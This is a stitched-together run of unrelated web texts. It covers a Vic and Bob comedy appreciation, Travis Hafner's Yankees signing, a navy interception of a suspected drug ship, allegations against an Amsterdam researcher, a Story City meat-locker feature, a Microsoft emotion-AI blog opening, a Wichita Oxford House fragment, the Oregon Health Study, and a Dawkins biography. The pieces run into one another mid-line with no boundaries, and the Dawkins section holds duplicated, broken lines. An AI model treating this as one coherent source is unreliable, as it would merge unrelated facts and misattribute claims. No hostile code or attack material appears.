Reeves' love of art is a constant presence throughout Big Night Out and the shows he co-created afterwards, from the wonderfully loose drawings that appeared on The Man With The Stick's Helmet to the illustrations that accompanied he and Bob's wilfully absurd range of inventions, including a fridge with a direct access to the sea (allowing fish to swim up the pipe and into your home). Many of the sketches on Big Night Out felt uncannily like Dadaist pieces of live performance art; in some ways, Vic and Bob had more in common with artist duo Gilbert and George than their contemporaries in alternative comedy.
Like all surreal art, there was a thin, nightmarish streak running through Vic and Bob's brand of dream logic. The childlike character Wavy Davy, who initially appeared to be a gentle soul who liked waving at various people and objects, gradually darkened as the shows wore on, until it was finally revealed that he was the Devil. Even Vic himself was revealed to have a murkier side to his character, having kidnapped The Man With The Stick's children and driven him to murder: Big Night Out series two ended, disquietingly, with The Man With The Stick going on a shooting spree.
That violent ending signalled not only the end of Big Night Out, but also Vic and Bob's involvement with Channel Four. At the height of their popularity, with the pair making repeated appearances on talk shows and adverts, and Vic having scored a number one hit single with his cover of Tommy Roe's Dizzy, Vic and Bob decided not to make a third series of Big Night Out. And when their sitcom pilot The Weekenders wasn't granted a full series at Channel Four, the BBC swooped in, offering them free license to create pretty much whatever they wanted.
The result was The Smell Of Reeves And Mortimer, a new show that abandoned almost all the characters and catchphrases of their earlier work. The live audience was gone, too, and the atmosphere of the show shifted. For one thing, Bob now had equal billing, and sat at another cluttered desk with Vic. The format this time wasn't based on music hall comedy, but more on the sketch-based humour of The Two Ronnies - albeit still filtered through their own wild imaginations. The series' opening song, Things That Irritate My Mind (a curious reworking of The Windmills Of Your Mind) was like a manifesto for the next six episodes: for half an hour each week, we'd be given a guided tour of life and modern television, as seen from the perspective of Vic and Bob.
To this end, we got regular parodies of BBC institutions such as Antiques Roadshow and Noel Edmonds, a brief sitcom about the members of Slade and their misadventures at home, some short arthouse films about a pair of flatulent Frenchmen, and a quietly sinister country singing duo called Mulligan & O'Hare.
The absence of a studio audience and an expanded budget allowed Vic's creative mind to soar to more bizarre heights, resulting in some captivating combinations of comedy and artistry: a spring onion playing an electric guitar in a forest. A group of stuffed dogs recreating a famous painting by Edward Landseer. A man with a peach for a head splits his cranium open to reveal a gigantic, rotating worm hanging inside it.
In all their work together during this period, including the hit game show Shooting Stars, which first aired in 1993, Vic and Bob created a world that is sort of recognisable, but entirely their own. It's a world where familiar people and situations are distorted almost beyond the point of recognition, which is often what makes it so sharply, devastatingly funny. Noel Edmonds appears as a grotesque, misshapen figure who laughs ferociously at double entendres. Soul singers Otis Redding and Marvin Gaye appear as a pair of Punch and Judy-style puppets who also happen to be agony aunts. Most memorably of all, restaurant critic and TV presenter Loyd Grossman was imagined as a floating, terrifying spectre with a pale, domed head.
Although even their most ardent fans would admit that not everything they created worked from a comedy standpoint, the moments where their humour hit the mark were almost too numerous to count. From the bit where Vic fell through the roof of a shed in Big Night Out, only to emerge triumphantly from its door and break into a rendition of The Smiths' Panic, to the anarchic celebrity challenges on Shooting Stars (Jonathan Ross cowering in a bin while Vic and Bob belted it with cricket bats was an early highlight), their comedy was childish, mischievous, playful, utterly individual, and shot through with an unmistakeable love of words.
For more than 20 years, Vic and Bob have collaborated to bring us classic TV comedy moments such as these. And aside from their individual flashes of brilliance, they've provided a platform for other actors and performers, too, including Caroline Aherne, Charlie Higson and Matt Lucas. Without Vic and Bob, it's inarguable that the British comedy landscape would be entirely different.
This appreciation has barely scratched the surface of Vic and Bob's careers to date. I haven't mentioned Uncle Peter, or the Stotts' extraordinary interview with Damon Hill, or the wonderful chaos that would result when they appeared on a mainstream TV show in the 90s ("We'd like to say hello to our friend Alan Davidson, who recently got out of jail for a terrible crime," Vic said on Saturday morning TV show Going Live, much to presenter Philip Schofield's disbelief). Or what about the time they appeared on Comic Relief, and sang Without You while imbibing 75 pints of lager?
So given that Vic and Bob's career spans such a huge gulf of time, and takes in live variety shows, sketch shows, game shows and sitcoms, is it even possible to sum up everything that's great about them in one brief clip? Probably not, but I'm going to try anyway. The moment below (taken from the opening of The Smell Of Reeves And Mortimer series two episode five) is, for me at least, an example of everything that's wonderful about Vic and Bob's comedy: it showcases their singing, dancing, some Reeves-designed owls, a cluttered desk, and the clear, genuine friendship that lies at the heart of their double act.
One owl? Get out of here. Two owls? Now you're talking. Vic and Bob, for your decades of the strange, the unexpected and the downright hilarious, we salute you.
Vic & Bob's Big Night Out starts tonight at 10pm on BBC Four.4:33pm: Hafner can earn up to $4MM in incentives beyond his $2MM salary, ESPN.com's Buster Olney reports (on Twitter).
3:11pm: The Yankees have officially signed Travis Hafner to a one-year, Major League contract. The deal is worth $2MM plus incentives, Jon Heyman of CBSSports.com reports (on Twitter). The Legacy Agency represents Hafner.
The Yankees plan to use Hafner as a platoon designated hitter who only plays against right-handers, Chad Jennings of the Journal News writes. Hafner, a left-handed hitter, has a career batting line of.287/.391/.534 against right-handed pitching.
Hafner hit free agency after the Indians chose a $2.75MM buyout over a $13MM option earlier in the offseason. The 35-year-old hit.228/.346/.438 with 12 home runs in 263 plate appearances for Cleveland last year.
Hafner has averaged only 85 games a season over the past five years due of injuries. Despite his past health issues, he drew interest from the Indians this winter. Rob Bradford of WEEI.com first reported the Yankees could be nearing a deal with Hafner and Jennings first reported the agreement.Commandos sent to intercept suspected drug-smuggling ship off NSW coast
Updated
Heavily-armed commandos have responded to a suspected drug-smuggling ship sailing off the New South Wales coast.
The elite soldiers were on board the Navy's guided missile frigate HMAS Newcastle, which had been tasked by Border Protection to help with the operation.
Defence sources have told the ABC the target vessel is believed to be an Australian chartered Chinese ship which is using Vietnamese crew.
The incident is reminiscent of the 2003 military takeover of the North Korean cargo ship Pong Su, which was intercepted and its crew arrested for attempting to smuggling heroin into Australia.
Defence Minister Marise Payne said investigations were ongoing.
"My understanding is it's a police operation with ADF support and as they are operational matters I won't expand on that," she said.
The Australian Federal Police said in a statement they were aware of a police operation in the Sydney area, and media reports about a ship being sent "to intercept a suspected drug-smuggling boat".
"This activity is not related to any national security matters, or any current or impending threat to the community," the statement said.
"As this matter is ongoing, it is not appropriate to provide further comment."
Topics: law-crime-and-justice, australia
First postedA researcher at the University of Amsterdam who helped produce a report on “Jihadi Brides” was an Islamic State “cyber-jihadist” herself, reports Dutch newspaper NRC Handelsblad.
Aysha Navest developed the study, “Chatting about marriage with female migrants to Syria”, alongside Annelies Moors, Professor of Contemporary Muslim Societies, University of Amsterdam, and Martijn de Koning, anthropologist, University of Amsterdam and Radboud University.
The paper presents an arguably sympathetic view of women who “see themselves as responsible for domestic life and attempt to normalise life under IS rule”, rejecting the so-called “tropes” of the jihadi bride who is either a victim of Islamist propaganda and online grooming by “unscrupulous men”, or a militant activist in her own right.
However, NRC claims to have uncovered evidence that Navest leads a double-life as an online “cyber-jihadist” herself, writing under the pseudonym “Ought Aicha” (Sister Aicha) on the Marokko.nl message forums.
The “Ought Aicha” account has made over 18,000 posts since 2006, many expressing Islamist sympathies. The account owner has expressed amazement at Muslims who dare to “criminalise” their brothers fighting for Islamic State, and praised Osama bin Laden “for protecting our Muslim community”.
A suicide bombing by an Islamic State fighter was dismissed as having only killed murtaddin (apostates) and Shi’ites (Muslims who follow a different branch of Islam than is practised in the Islamic State, which is Sunni).
NRC claims that Navest would not comment on whether the Marokko.nl account was hers, and her co-authors have stuck by their paper, claiming they saw no evidence of bias and that, in any case, “There are numerous examples of established anthropologists who are ideologically closely involved with their research or are themselves part of the research”.
A study by Europol last July indicated that “a significant percentage” of the thousands of European Union nationals recruited by jihadist groups in the Middle East are women.
They claimed 40 per cent of known Dutch recruits were female, compared with 20 per cent from Finland and Germany. The numbers for Belgium, Spain, and the UK were said to be similar.
Hundreds of British jihadists have now returned to the UK from the Middle East. It is estimated that just one eighth have been caught and convicted, and security experts warn that Britain’s “porous” maritime borders and “defenceless” small airfields provide such people with easy entry points.The famous phrase, "If you build it, he will come" probably would not have had the same shelf life if the movie it came from was called, say, "Meat Locker of Dreams." It just doesn't have the same poetic ring to it as "Field of Dreams."
Still, Ty and Bobbie Gustafson built Story City Locker, their unpoetic dream, and people are indeed coming. Even their crack take-down, butchering, chef-ing and packaging staff came to them, not the other way around.
A meat locker is a very specific sort of dream. Not the life's work that little boys and girls play at — like school, or doctor or store. In fact, these days, most kids wouldn't even know what a meat locker is, let alone pretend they were running one.
The Gustafsons, who opened Story City Locker in October of 2013, would like to see that change, so that kids — and plenty of adults who have grown up in the fluorescent-supermarket-plastic-wrapped-precut-prewashed era — won't have to say, "What's a meat locker?"
At least for the Gustafsons, a meat locker is a place to not only harvest and process meat in a responsible way, but to give local farmers exactly what they want; to support local, small production and sustainable farming; and to educate people about where their meat comes from. Their philosophy: "Small production farming decreases environmental stress, increases traceability and promotes appreciation for healthy food and eating." Most of the farmers they work with are on the same page.
SCL processes for others mostly, but also sells products in their small retail space. In accordance with their philosophy, all the beef, pork, lamb, goat, chicken (and fish from Iowa's First) is traceable and comes from animals raised without added hormones or sub-therapeutic antibiotics.
Take business leap
The urge to open a locker didn't strike the couple out of the blue. Ty, 43, grew up on a farm and also spent time hunting with the Dale and Shirley Haupert family, who own the Atlantic Locker. Over the years, he helped them at their locker and enjoyed it. As he and Bobbie, 46, got closer to making the leap, Ty spent a lot of time there, learning the business from them. Bobbie called the Hauperts "super friends and mentors…. We wouldn't have been able to do this without them."
While the project was something Ty had mulled over for years, missing out on too much of his two teenage daughters' lives is what eventually pushed him to go for it.
"I always had jobs that required me to travel internationally," Ty said, "and I was missing a lot of stuff." Bobbie knew Ty wasn't happy and so she encouraged — and joined him — to launch the business, putting her design degree to work on the company's look, logo and website.
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"We're not trying to be all things to all people," Bobbie said. "When we were planning the facility, several people told us it was too small. But more is not always better. We don't need more, we just need enough."
Rare business model
According to Dr. Ted Smith, veterinary supervisor for the Iowa Meat and Poultry Inspection Bureau, who helped the Gustafsons wade through regulations, Iowa has about 75 to 80 state-inspected lockers, but very few follow Story City's business model.
"The way they do things requires more effort and extra steps," he said. "And they're dealing with organic and grass-fed animals, unlike most plants."
"(In the locker business), we're not something you see every day," Ty Gustafson said. "And so many people encouraged us as we were going down this rabbit hole." The Gustafsons knew they were sort of going off-road with their ideas and so spent a lot of time researching. "As we began to talk to people about the idea — Practical Farmers of Iowa, Iowa State Extension, the Leopold Center — everyone was just so excited," Bobbie said. "We kept waiting for the red flags, but there were none. Even the banker we used had a soft spot (for the project) because he had grown up in the business. It wasn't hard to convince him."
The Story City community has embraced the locker, too. People bring kids and grandkids in to see what a real meat locker looks like, take a tour or buy Albert Donhowe's ring bologna. The late Donhowe was a longtime Story City resident and meat cutter. His trademark bologna was resurrected by SCL's staff chef, Brian Malone, from the current Story City mayor's hand-written copy of the recipe. It is always – if you're doing it right – cooked in the same pot with a mess of Iowa sweet corn.
Malone who has cooked far and wide, including at Aunt Maude's in Ames, also creates sausages, brats, jerky and other meat-based products as well as the popular sandwich of the week. A recent example: "The 'Swagger' Sandwich. SCL braunschweiger, smoked sauerkraut, radish, red onion, pickle and house-crafted brown mustard on a ciabatta roll."
British hogs
The locker's reputation for above-and-beyond customer service and outstanding quality is well-established and has drawn customers like Angela and Jason Johnson of Lucky George Farm in Derby, another newbie to the Iowa food scene. The Johnsons specialize in heritage breeds of meat animals, such as Large Blacks, an endangered breed of British hogs.
"They have all of our four-footed business," Angela Johnson said. (Their chickens are processed elsewhere only because SCL's schedule was so busy.) "They render our lard and make our value-added products, like the bangers (British-style sausages). All the meat that we sell at the Downtown Farmers' Market is processed there." This, despite the fact that Lucky George is far closer to the Missouri border than to Story City.
"We raise British hogs and SCL is willing to do custom English-style cuts for us and to work with us on sausage recipes," she said — like those bangers and what the Brits call gammon (a cured bacon-like product, but made from the thigh and rump instead of the belly).
"They have an amazing willingness to work with us on ideas, and that creativity screams volumes to us," Johnson said. "And the fact that they have retail space allows us to get our products into more mouths and gives us exposure in a northern market. The drive we make to Story City is worth every penny."
Custom labeling, custom cuts
"Our focus is on customer service," Ty said. "We cater more to farmers (than most lockers) with custom labeling and custom cuts, which takes longer and is more expensive. But we're always looking for ways to make the experience better."
This includes little things like wrapping all the ground beef in brown paper instead of white, so it's easy to spot in the freezer. And bigger things, too, like making sure the facility is spotless (Ty estimates that about 35 percent of working hours are spent cleaning) and designing the cutting room (which is visible to retail customers) to be more worker- friendly.
Ty also noted that they strive to create a less stressful atmosphere even for the animals. SCL practices humane slaughter techniques and is in the process of being certified with the Animal Welfare Approved group. Many of its client farmers have also earned AWA's stamp.
The Gustafsons are well aware that there will always be some controversy about a facility that kills animals. And they have thought long and deeply about what that means in their business. "There is a psychological point when an animal becomes meat, and that point is different for all of us, and it's something we all think about," Bobbie said. "Our goal is to be respectful and to minimize waste — food waste is a real cultural issue for us.
"Our farmers are very intentional in the way they're raising their animals, and I think they appreciate bringing them somewhere where that's honored."
The Gustafsons are also the first to admit that an abattoir/meat market is not a glamorous business, and it's not for everyone, but they do worry that the way they do things is becoming a lost art. "There's room for more (of these small lockers) in other small towns. We should all be helping each other out" to keep the specialized skills and small-scale ethos alive and thriving, Bobbie said.
"If we can inspire others to do it, we have done our job."
Story City Locker
FIND IT: 236 W. Broad St., Story City
INFO: 515-733-6328, www.storycitylocker.com
RETAIL HOURS: 11 a.m.-5:30 p.m. Monday and Wednesday through Friday; 11 a.m.-6 p.m. Tuesday; 8 a.m.-noon Saturday
Off the Eaten Path
This occasional series tells the stories of places across Iowa that by the very fact of their existence can affect what and how we eat.
How I chose Story City Locker
As I worked on stories with some of central Iowa's best and most interesting chefs and farmers over the last nine or so months, I kept hearing Story City Locker's name. Bobbie and Ty Gustafson's locker focuses on locally produced proteins, naturally raised in a sustainable way. Unusually, they also have a chef on staff who creates recipes and products (their beef sticks and jerky have quite the following) for the locker's retail area. Their small-scale, carefully planned business both echoes an older way of doing things, and pushes our food industry toward a smaller, healthier, hands-on future.
JENNIFER MILLER covers the Iowa food and restaurant scene for the Register. Have a story idea? Email Jennifer at jenmille@dmreg.com, call 515-699-7073 or on Twitter @JenniFoodM.
Read or Share this story: http://dmreg.co/1rM6UZqEmotions run deep in every conversation we humans have. Deciphering these underlying emotions is the key to making machine interactions more human. Detecting emotions in text is difficult enough for human beings, let alone artificially created machines, as many of our emotions are conveyed through expressions and tone of voice.
At Microsoft, we are working to create human-like AI, Ruuh and on this journey detecting user emotions is a critical piece. So, I teamed up with Microsoft researchers Umang Gupta and Radhakrishnan Srikanth to take on this challenge. Also, Ankush Chatterjee, an intern from IIT Kharagpur, joined us taking on his first machine learning research assignment!
Here’s a look at how we arrived at a novel approach to detect emotions in textual conversations:
The challenge of creating emotional Artificial Intelligence (AI)
Detecting emotions accurately is always a challenge, even for human beings. Participants in a conversation often misinterpret the emotion the other person is trying to convey. This is because emotional expressions are often subtle. A slight raising of the eyebrow or a quick smirk can be easily missed. Similarly, a sudden shift in tone is often hard to detect.
Although these gestures are subtle and easy to miss, they carry a wealth of information that can add context to the conversation. Detecting anger or sadness, for example, can help a human being respond appropriately to each interaction. Infusing this skill in machines can help create more useful and empathetic digital agents in the future. A machine that can detect emotions can generate responses that genuinely help users seeking assistance or information.
Machines are already detecting emotions in voice recordings and facial portraits. However, humans today, increasingly communicate using messaging applications. |
in College Hill, Celia Gorlich, says the house may not be right for College Hill.
"Sometimes College Hill is considered elitist or something like that. But we thought it (Oxford House) was (an) inappropriate use of a single family dwelling," says College Hill Neighborhood Association President Gorlich. "Since we can not stop it, let's get all the facts that we can about it, and then approach it. We want to find out anything negative about these homes. There is one at 18th and Park Place across from Clapp mansion. Neighbors don't seem to have problems with it. So, let's work with the owner and find out, are there any laws governing how they will keep the condition of the house?"
KSN checked with the city of Wichita, and found out an Oxford House rehab facility is considered a group home for zoning purposes. Group homes are allowed in any city district allowing single-family dwellings. A quick check by city officials also shows no license is required.
Others in the area say, they welcome the idea of a rehab house next door.
"Drinking is an issue. Drugs are an issue," says College Hill resident Terry Johnston, who lives across the street. "If there's a nice house in a good, family oriented neighborhood close to lots of churches, isn't that the perfect place to get your feet back on the ground?"
Gorlich says she will continue to find out more information about the success of Oxford houses, including recidivism and any problems associated with the homes.
"As I understand and you look at the case history, there is nothing we can do to fight this. I think that people want to preserve the nature of College Hill which is residential," says Gorlich. "I wanted the facts to empower the neighborhood and the neighbors."
Gorlich says the neighborhood association will hold a meeting soon to discuss having an Oxford House in College Hill.The Oregon Health Study upended a lot of conventional thinking about health insurance. The study made use of a 2008 state lottery that randomly assigned some low-income Oregon residents to get insurance from Medicaid and others to remain uninsured. Then it followed them for two years to see what happened.
Among the study’s surprising findings: Patients who got insurance used the emergency room more often than their uninsured peers, undermining a common argument in favor of expanded insurance coverage. People who got Medicaid also had a much easier time finding doctors, countering views held by the programs’ critics that Medicaid can be worse than no insurance. There were some important questions the study never answered: It didn’t find any evidence that patients’ physical health improved over the two years.
Managing the study involved gathering a lot of data about the participants — surveying them on their happiness and financial health, examining their health records and looking at whether they were getting calls from debt collectors. The researchers have published their empirical findings in medical and economics journals — there’s a summary with links here. More recently, Heidi Allen, a member of the team, has gone back and collected interviews with the study’s subjects. They’ve been struck by just how compelling individual stories can be — even now, when they know the “right” answer.
“If you look at them, some people do say the exact opposite of what we found,” said Amy Finkelstein, a professor at M.I.T., who helped lead the Oregon study. “From a randomized controlled trial, you can see something that wasn’t at all what you were looking for.”Both his parents were interested in natural sciences, and they answered Dawkins's questions in scientific terms. [35] Dawkins describes his childhood as "a normal Anglican upbringing". [36] He embraced Christianity until halfway through his teenage years, at which point he concluded that the theory of evolution was a better explanation for life's complexity, and ceased believing in a god. [34] Dawkins states: "The main residual reason why I was religious was from being so impressed with the complexity of life and feeling that it had to have a designer, and I think it was when I realised that Darwinism was a far superior explanation that pulled the rug out from under the argument of design. And that left me with nothing." [34]
Evolutionary biology Edit
Dawkins is best known for his popularisation of the gene as the principal unit of selection in evolution; this view is most clearly set out in his books:[54][55]
The Selfish Gene (1976), in which he notes that "all life evolves by the differential survival of replicating entities".
(1976), in which he notes that "all life evolves by the differential survival of replicating entities". The Extended Phenotype (1982), in which he describes natural selection as "the process whereby replicators out-propagate each other". He introduces to a wider audience the influential concept he presented in 1977,[56] that the phenotypic effects of a gene are not necessarily limited to an organism's body, but can stretch far into the environment, including the bodies of other organisms. Dawkins regarded the extended phenotype as his single most important contribution to evolutionary biology and he considered niche construction to be a special case of extended phenotype. The concept of extended phenotype helps explain evolution, but it does not help predict specific outcomes.[57]
Dawkins has consistently been sceptical about non-adaptive processes in evolution (such as spandrels, described by Gould and Lewontin)[58] and about selection at levels "above" that of the gene.[59] He is particularly sceptical about the practical possibility or importance of group selection as a basis for understanding altruism. This behaviour appears at first to be an evolutionary paradox, since helping others costs precious resources and decreases one's own fitness. Previously, many had interpreted this as an aspect of group selection: individuals are doing what is best for the survival of the population or species as a whole. British evolutionary biologist W. D. Hamilton used gene-frequency analysis in his inclusive fitness theory to show how hereditary altruistic traits can evolve if there is sufficient genetic similarity between actors and recipients of such altruism (including close relatives).[61][a] Hamilton's inclusive fitness has since been successfully applied to a wide range of organisms, including humans. Similarly, Robert Trivers, thinking in terms of the gene-centred model, developed the theory of reciprocal altruism, whereby one organism provides a benefit to another in the expectation of future reciprocation.[62] Dawkins popularised these ideas in The Selfish Gene, and developed them in his own work.[63] In June 2012, Dawkins was highly critical of fellow biologist E. O. Wilson's 2012 book The Social Conquest of Earth as misunderstanding Hamilton's theory of kin selection.[64][65] Dawkins has also been strongly critical of the Gaia hypothesis of the independent scientist James Lovelock.[66][67][68]
Critics of Dawkins's biological approach suggest that taking the gene as the unit of selection (a single event in which an individual either succeeds or fails to reproduce) is misleading. The gene could be better described, they say, as a unit of evolution (the long-term changes in allele frequencies in a population).[69] In The Selfish Gene, Dawkins explains that he is using George C. Williams's definition of the gene as "that which segregates and recombines with appreciable frequency".[70] Another common objection is that a gene cannot survive alone, but must cooperate with other genes to build an individual, and therefore a gene cannot be an independent "unit".[71] In The Extended Phenotype, Dawkins suggests that from an individual gene's viewpoint, all other genes are part of the environment to which it is adapted.
Advocates for higher levels of selection (such as Richard Lewontin, David Sloan Wilson, and Elliott Sober) suggest that there are many phenomena (including altruism) that gene-based selection cannot satisfactorily explain. The philosopher Mary Midgley, with whom Dawkins clashed in print concerning The Selfish Gene,[72][73] has criticised gene selection, memetics, and sociobiology as being excessively reductionist;[74] she has suggested that the popularity of Dawkins's work is due to factors in the Zeitgeist such as the increased individualism of the Thatcher/Reagan decades.[75]
In a set of controversies over the mechanisms and interpretation of evolution (what has been called 'The Darwin Wars'),[76][77] one faction is often named after Dawkins, while the other faction is named after the American palaeontologist Stephen Jay Gould, reflecting the pre-eminence of each as a populariser of the pertinent ideas.[78][79] In particular, Dawkins and Gould have been prominent commentators in the controversy over sociobiology and evolutionary psychology, with Dawkins generally approving and Gould generally being critical.[80] A typical example of Dawkins's position is his scathing review of Not in Our Genes by Steven Rose, Leon J. Kamin, and Richard C. Lewontin.[81] Two other thinkers who are often considered to be allied with Dawkins on the subject are Steven Pinker and Daniel Dennett; Dennett has promoted a gene-centred view of evolution and defended reductionism in biology.[82] Despite their academic disagreements, Dawkins and Gould did not have a hostile personal relationship, and Dawkins dedicated a large portion of his 2003 book A Devil's Chaplain posthumously to Gould, who had died the previous year.
When asked if Darwinism informs his everyday apprehension of life, Dawkins says, "In one way it does. My eyes are constantly wide open to the extraordinary fact of existence. Not just human existence but the existence of life and how this breathtakingly powerful process, which is natural selection, has managed to take the very simple facts of physics and chemistry and build them up to redwood trees and humans. That's never far from my thoughts, that sense of amazement. On the other hand I certainly don't allow Darwinism to influence my feelings about human social life," implying that he feels that individual human beings can opt out of the survival machine of Darwinism since they are freed by the consciousness of self.[33]
Fathering the meme Edit
In his book The Selfish Gene, Dawkins coined the word meme (the behavioural equivalent of a gene) as a way to encourage readers to think about how Darwinian principles might be extended beyond the realm of genes. It was intended as an extension of his "replicators" argument, but it took on a life of its own in the hands of other authors, such as Daniel Dennett and Susan Blackmore. These popularisations then led to the emergence of memetics, a field from which Dawkins has distanced himself.[84]
Dawkins's meme refers to any cultural entity that an observer might consider a replicator of a certain idea or set of ideas. He hypothesised that people could view many cultural entities as capable of such replication, generally through communication and contact with humans, who have evolved as efficient (although not perfect) copiers of information and behaviour. Because memes are not always copied perfectly, they might become refined, combined, or otherwise modified with other ideas; this results in new memes, which may themselves prove more or less efficient replicators than their predecessors, thus providing a framework for a hypothesis of cultural evolution based on memes, a notion that is analogous to the theory of biological evolution based on genes.[85]
Although Dawkins invented the term meme, he has not claimed that the idea was entirely novel,[86] and there have been other expressions for similar ideas in the past. For instance, John Laurent has suggested that the term may have derived from the work of the little-known German biologist Richard Semon.[87] Semon regarded "mneme" as the collective set of neural memory traces (conscious or subconscious) that were inherited, although such view would be considered as Lamarckian by modern biologists.[88] Laurent also found the use of the term mneme in Maurice Maeterlinck's The Life of the White Ant (1926), and Maeterlinck himself stated that he obtained the phrase from Semon's work.[87] In his own work, Maeterlinck tried to explain memory in termites and ants by claiming that neural memory traces were added "upon the individual mneme".[88] Nonetheless, James Gleick describes Dawkins's concept of the meme as "his most famous memorable invention, far more influential than his selfish genes or his later proselytising against religiosity".[89]
Foundation Edit
In 2006, Dawkins founded the Richard Dawkins Foundation for Reason and Science (RDFRS), a non-profit organisation. RDFRS financed research on the psychology of belief and religion, financed scientific education programs and materials, and publicised and supported charitable organisations that are secular in nature.[90] In January 2016, it was announced that the foundation was merging with the Center for Inquiry, with Dawkins becoming a member of the new organization's board of directors.[91]
Criticism of religion Edit
The God Delusion, 24 June 2006 Lecturing on his book, 24 June 2006
Dawkins was confirmed into the Church of England at the age of 13, but began to grow sceptical of the beliefs. After learning about Darwinism and the scientific reason why living things look as though they have been designed, Dawkins lost the remainder of his religious faith.[92] He said that his understanding of science and evolutionary processes led him to question how adults in positions of leadership in a civilized world could still be so uneducated in biology,[93] and is puzzled by how belief in God could remain among individuals who are sophisticated in science. Dawkins notes that some physicists use 'God' as a metaphor for the general awe-inspiring mysteries of the universe, which causes confusion and misunderstanding among people who incorrectly think they are talking about a mystical being who forgives sins, transubstantiates wine, or makes people live after they die.[94] He disagrees with Stephen Jay Gould's principle of nonoverlapping magisteria (NOMA)[95] and suggests that the existence of God should be treated as a scientific hypothesis like any other. Dawkins became a prominent critic of religion and has stated his opposition to religion as twofold: religion is both a source of conflict and a justification for belief without evidence. He considers faith—belief that is not based on evidence—as "one of the world's great evils".[98]
On his spectrum of theistic probability, which has seven levels between 1 (100% certainty that a God or gods exist) and 7 (100% certainty that a God or gods do not exist), Dawkins has said he is a 6.9, which represents a "de facto atheist" who thinks "I cannot know for certain but I think God is very improbable, and I live my life on the assumption that he is not there." When asked about his slight uncertainty, Dawkins quips, "I am agnostic to the extent that I am agnostic about fairies at the bottom of the garden."[99][100] In May 2014, at the Hay Festival in Wales, Dawkins explained that while he does not believe in the supernatural elements of the Christian faith, he still has nostalgia for the ceremonial side of religion.[101] In addition to beliefs in deities, Dawkins has criticized other irrational religious beliefs such as Jesus turned water into wine, that an embryo starts as a blob, that magic underwear will protect you, that Jesus was resurrected, that semen comes from the spine, that Jesus walked on water, that the sun sets in a marsh, that the Garden of Eden existed in Missouri, that Jesus' mother was a virgin, that Muhammad split the moon, and that Lazarus was raised from the dead.[102][103][104][105][106][107][108]
Dawkins has risen to prominence in public debates concerning science and religion since the publication of his most popular book, The God Delusion, in 2006, which became an international best seller.[109] As of 2015, more than three million copies have been sold and the book has been translated into over 30 languages. Its success has been seen by many as indicative of a change in the contemporary cultural zeitgeist and has also been identified with the rise of New Atheism.[111] In the book, Dawkins contends that a supernatural creator almost certainly does not exist and that religious faith is a delusion—"a fixed false belief". In his February 2002 TED talk entitled "Militant atheism", Dawkins urged all atheists to openly state their position and to fight the incursion of the church into politics and science.[113] On 30 September 2007, Dawkins, Christopher Hitchens, Sam Harris, and Daniel Dennett met at Hitchens's residence for a private, unmoderated discussion that lasted two hours. The event was videotaped and entitled "The Four Horsemen".[114]
Dawkins sees education and consciousness-raising as the primary tools in opposing what he considers to be religious dogma and indoctrination.[44][115][116] These tools include the fight against certain stereotypes, and he has adopted the term bright as a way of associating positive public connotations with those who possess a naturalistic worldview.[116] He has given support to the idea of a free-thinking school,[117] which would not "indoctrinate children" but would instead teach children to ask for evidence, be skeptical, critical, and open-minded. Such a school, says Dawkins, should "teach comparative religion, and teach it properly without any bias towards particular religions, and including historically important but dead religions, such as those of ancient Greece and the Norse gods, if only because these, like the Abrahamic scriptures, are important for understanding English literature and European history.[118][119] Inspired by the consciousness-raising successes of feminists in arousing widespread embarrassment at the routine use of "he" instead of "she", Dawkins similarly suggests that phrases such as "Catholic child" and "Muslim child" should be considered as socially absurd as, for instance, "Marxist child", as he believes that children should not be classified based on the ideological or religious beliefs of their parents.[116]
While some critics, such as writer Christopher Hitchens, psychologist Steven Pinker and Nobel laureates Sir Harold Kroto, James D. Watson, and Steven Weinberg have defended Dawkins's stance on religion and praised his work,[120] others, including Nobel Prize-winning theoretical physicist Peter Higgs, astrophysicist Martin Rees, philosopher of science Michael Ruse, literary critic Terry Eagleton, philosopher Roger Scruton, psychologist Camille Paglia, atheist philosopher Daniel Came and theologian Alister McGrath,[121][122][123] [124] [125] [126] have criticised Dawkins on various grounds, including the assertion that his work simply serves as an atheist counterpart to religious fundamentalism rather than a productive critique of it, and that he has fundamentally misapprehended the foundations of the theological positions he claims to refute. Rees and Higgs, in particular, have both rejected Dawkins's confrontational stance toward religion as narrow and "embarrassing", with Higgs going as far as to equate Dawkins with the religious fundamentalists he criticises.[127][128][129][130] Atheist philosopher John Gray has denounced Dawkins as an "anti-religious missionary", whose assertions are "in no sense novel or original," suggesting that "transfixed in wonderment at the workings of his own mind, Dawkins misses much that is of importance in human beings." Gray has also criticised Dawkins's perceived allegiance to Darwin, stating that if "science, for Darwin, was a method of inquiry that enabled him to edge tentatively and humbly toward the truth, for Dawkins, science is an unquestioned view of the world."[131] In response to his critics, Dawkins maintains that theologians are no better than scientists in addressing deep cosmological questions and that he is not a fundamentalist, as he is willing to change his mind in the face of new evidence.[133][134] Roger Scruton has said that Dawkins cherry-picks his data, and ignores the benefits of religion, saying "Richard Dawkins believes that faith is an infectious disease which spreads intolerance and conflict. In fact it is our principal source of love and peace." [125] Camille Paglia has criticised his work on religion, on the grounds that he hasn't done enough research into religion, and that he his work "exposes a state of perpetual adolescence that has something to do with their parents-- they’re still sneering at dad in some way." [124] Daniel Came called Dawkins a "coward" for refusing to debate with William Lane Craig. [126]
Criticism of creationism Edit
Dawkins is a prominent critic of creationism, a religious belief that humanity, life, and the universe were created by a deity[135] without recourse to evolution.[136] He has described the Young Earth creationist view that the Earth is only a few thousand years old as "a preposterous, mind-shrinking falsehood".[137] His 1986 book, The Blind Watchmaker, contains a sustained critique of the argument from design, an important creationist argument. In the book, Dawkins argues against the watchmaker analogy made famous by the eighteenth-century English theologian William Paley via his book Natural Theology, in which Paley argues that just as a watch is too complicated and too functional to have sprung into existence merely by accident, so too must all living things—with their far greater complexity—be purposefully designed. Dawkins shares the view generally held by scientists that natural selection is sufficient to explain the apparent functionality and non-random complexity of the biological world, and can be said to play the role of watchmaker in nature, albeit as an automatic, unguided by any designer, nonintelligent, blind watchmaker.[138]
